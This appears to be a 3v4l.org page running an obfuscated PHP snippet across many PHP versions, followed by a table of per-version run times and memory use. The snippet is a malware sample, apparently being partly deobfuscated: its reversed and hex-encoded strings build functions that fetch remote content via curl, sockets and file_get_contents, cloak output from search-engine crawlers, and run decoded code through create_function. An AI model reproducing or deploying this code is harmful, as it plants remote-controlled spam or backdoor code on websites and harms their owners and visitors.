3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $slv = "\x73\164\x72\162\x65\166"; $s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } //create_function("", "};".$b."//"); echo $b."\n"; } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } //create_function("", "};".$g."//"); echo $g."\n"; } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b";$soy = "\x65\156\x32";$xx="\x65\170\x70"."\154\x6f\144\x65";$ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";$scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");$aa = $xx("|","8|9|-|,| ");$mec=$ecx;for($i=0;$i<sizeof($a);$i++) {$g = $scy($aa[$i],$a[$i],$g); }$ecx("", "};$g//");$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; //echo 'Function Call: Function Name: '.$vv1.' Argument: '.$v_[$i]."\n"; $vv1($v_[$i]); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0090.00914.97
7.3.120.0030.01315.22
7.3.110.0080.00815.12
7.3.100.0060.01015.21
7.3.90.0000.01215.12
7.3.80.0030.01015.04
7.3.70.0090.00614.91
7.3.60.0000.00915.09
7.3.50.0080.00614.79
7.3.40.0000.01215.01
7.3.30.0060.00614.80
7.3.20.0090.00616.66
7.3.10.0030.00616.71
7.3.00.0060.01016.88
7.2.250.0100.00715.28
7.2.240.0070.01414.92
7.2.230.0120.00315.00
7.2.220.0100.00315.06
7.2.210.0030.01015.16
7.2.200.0090.00414.93
7.2.190.0140.00015.08
7.2.180.0110.00314.98
7.2.170.0070.01015.04
7.2.00.0060.00619.18
7.1.330.0030.01315.79
7.1.320.0030.01016.04
7.1.310.0030.00616.16
7.1.300.0050.00515.89
7.1.290.0040.00815.72
7.1.280.0090.00615.84
7.1.270.0060.00315.82
7.1.260.0030.00615.77
7.1.70.0000.00717.29
7.1.60.0090.01519.40
7.1.50.0040.01816.78
7.1.00.0030.08022.36
7.0.200.0170.00314.93
7.0.140.0070.06721.98
7.0.120.0030.04722.10
7.0.60.0070.08720.08
7.0.50.0030.04717.97
7.0.40.0030.04317.88
7.0.30.0030.04717.80
7.0.20.0000.06717.70
7.0.10.0100.05317.72
7.0.00.0100.07017.75
5.6.280.0000.07721.16
5.6.210.0100.08020.57
5.6.200.0100.07018.24
5.6.190.0030.04718.21
5.6.180.0100.07318.22
5.6.170.0130.07018.26
5.6.160.0170.07018.24
5.6.150.0030.08318.19
5.6.140.0000.04718.23
5.6.130.0100.07718.31
5.6.120.0200.06718.23
5.6.110.0000.07318.30
5.6.100.0030.04318.18
5.6.90.0100.04318.30
5.6.80.0000.07717.60
5.6.70.0100.04717.57
5.6.60.0100.04017.67
5.6.50.0000.04017.68
5.6.40.0070.03317.54
5.6.30.0000.04017.68
5.6.20.0030.04317.64
5.6.10.0030.04017.73
5.6.00.0000.04017.60
5.5.350.0030.07720.57
5.5.340.0000.06718.05
5.5.330.0070.05018.01
5.5.320.0030.08017.96
5.5.310.0070.08317.98
5.5.300.0100.08018.08
5.5.290.0070.08017.96
5.5.280.0100.06717.93
5.5.270.0030.08718.06
5.5.260.0070.07317.98
5.5.250.0130.06317.80
5.5.240.0030.06717.42
5.5.230.0070.07717.36
5.5.220.0070.03717.45
5.5.210.0070.03717.47
5.5.200.0030.04017.43
5.5.190.0030.04017.38
5.5.180.0070.03317.34
5.5.160.0030.05317.33
5.5.150.0070.03317.43
5.5.140.0030.03717.31
5.5.130.0100.03317.36
5.5.120.0030.03717.49
5.5.110.0000.04317.35
5.5.100.0000.04017.25
5.5.90.0000.04317.24
5.5.80.0000.04017.24
5.5.70.0030.03717.25
5.5.60.0000.04317.21
5.5.50.0000.04017.31
5.5.40.0070.03317.21
5.5.30.0100.03017.23
5.5.20.0000.04017.32
5.5.10.0000.04317.20
5.5.00.0070.03317.32
5.4.450.0100.03719.61
5.4.440.0000.09319.46
5.4.430.0070.08019.37
5.4.420.0030.04319.33
5.4.410.0070.08019.47
5.4.400.0170.07018.98
5.4.390.0070.04018.91
5.4.380.0100.05319.05
5.4.370.0000.05319.04
5.4.360.0030.04319.10
5.4.350.0030.03719.05
5.4.340.0070.03319.05
5.4.320.0070.05019.02
5.4.310.0030.03719.05
5.4.300.0000.04019.01
5.4.290.0100.03719.14
5.4.280.0030.03719.02
5.4.270.0000.04019.06
5.4.260.0030.03719.05
5.4.250.0070.03319.04
5.4.240.0070.03319.03
5.4.230.0030.04018.98
5.4.220.0030.03718.98
5.4.210.0030.03719.13
5.4.200.0070.03719.00
5.4.190.0030.03718.94
5.4.180.0130.03719.07
5.4.170.0000.04019.02
5.4.160.0070.03319.25
5.4.150.0030.03718.93
5.4.140.0030.03316.36
5.4.130.0170.03016.28
5.4.120.0030.03316.46
5.4.110.0070.07016.46
5.4.100.0070.05016.61
5.4.90.0070.03716.53
5.4.80.0030.07716.62
5.4.70.0130.05016.44
5.4.60.0070.04716.48
5.4.50.0030.03716.43
5.4.40.0100.06716.43
5.4.30.0130.06716.43
5.4.20.0000.08016.37
5.4.10.0070.07316.34
5.4.00.0100.06715.84
5.3.290.0070.03314.57
5.3.280.0070.03314.68
5.3.270.0030.03714.66
5.3.260.0100.03014.69
5.3.250.0070.03314.67
5.3.240.0000.04014.71
5.3.230.0070.07314.70
5.3.220.0030.05014.61
5.3.210.0130.06714.73
5.3.200.0100.05714.62
5.3.190.0070.05314.59
5.3.180.0030.06714.47
5.3.170.0070.06014.67
5.3.160.0070.04314.61
5.3.150.0000.04014.46
5.3.140.0000.04314.68
5.3.130.0100.07314.68
5.3.120.0070.07714.63
5.3.110.0030.08014.62
5.3.100.0030.07714.30
5.3.90.0200.06014.13
5.3.80.0030.04314.11
5.3.70.0070.07714.17
5.3.60.0030.08014.08
5.3.50.0070.07314.02
5.3.40.0100.06314.07
5.3.30.0000.04714.03
5.3.20.0030.06313.64
5.3.10.0000.05713.79
5.3.00.0000.05313.58
5.2.170.0030.05311.22
5.2.160.0070.06011.20
5.2.150.0030.06311.25
5.2.140.0000.04011.10
5.2.130.0070.04011.23
5.2.120.0100.05711.22
5.2.110.0000.06711.18
5.2.100.0070.03011.18
5.2.90.0070.06011.22
5.2.80.0100.04711.37
5.2.70.0030.06311.22
5.2.60.0070.05711.17
5.2.50.0030.05011.11
5.2.40.0070.06011.10
5.2.30.0070.03011.24
5.2.20.0070.02711.02
5.2.10.0170.03011.02
5.2.00.0030.03710.88
5.1.60.0070.03710.09
5.1.50.0000.03710.10
5.1.40.0000.04010.02
5.1.30.0070.03010.39
5.1.20.0030.06310.43
5.1.10.0070.05710.33
5.1.00.0101.0379.81
5.0.50.0030.0338.72
5.0.40.0000.0478.43
5.0.30.0000.0478.35
5.0.20.0070.0408.29
5.0.10.0000.0508.23
5.0.00.0000.0678.16
4.4.90.0000.0378.08
4.4.80.0000.0278.08
4.4.70.0100.0308.08
4.4.60.0030.0378.08
4.4.50.0030.0278.08
4.4.40.0070.0308.08
4.4.30.0070.0338.08
4.4.20.0070.0278.08
4.4.10.0000.0378.08
4.4.00.0130.0238.08
4.3.110.0070.0278.08
4.3.100.0030.0308.08
4.3.90.0030.0338.08
4.3.80.0030.0538.08
4.3.70.0070.0278.08
4.3.60.0100.0308.08
4.3.50.0000.0378.08
4.3.40.0130.0278.08
4.3.30.0030.0208.08
4.3.20.0000.0378.08
4.3.10.0000.0408.08
4.3.00.0000.0378.08

preferences:
38.8 ms | 401 KiB | 5 Q